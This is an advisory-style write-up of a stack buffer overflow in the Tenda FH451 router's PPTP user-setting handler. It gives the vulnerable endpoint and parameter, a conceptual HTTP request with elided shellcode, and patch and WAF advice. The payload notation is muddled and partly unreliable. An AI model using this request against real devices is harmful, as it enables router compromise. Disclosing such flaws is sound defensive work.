Tenda FH451 | 1.0.0.9

How the Exploit Works

The vulnerability stems from the manipulation of the “delno” argument in the fromPptpUserSetting function. Insecure handling of this argument allows an attacker to overflow the stack buffer, corrupting data and potentially overwriting the return pointer or function pointers to redirect execution to the attacker’s code. This could lead to unauthorized access, system compromise, and data leakage.

Conceptual Example Code

The following is a conceptual representation of how an HTTP request exploiting this vulnerability could look:
```
POST /goform/PPTPUserSetting HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
delno=%cc%x90x90x90...[more malicious shell code]
```
The above payload represents a buffer overflow attack where “%cc%” might be used to overwrite the return pointer, and “x90x90x90…” could be a NOP sled leading to the malicious shellcode.

Mitigation

It is crucial for users of Tenda FH451 1.0.0.9 to apply the vendor patch as soon as possible to fix this vulnerability. In the absence of a patch, or until it can be applied, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as temporary mitigation measures.
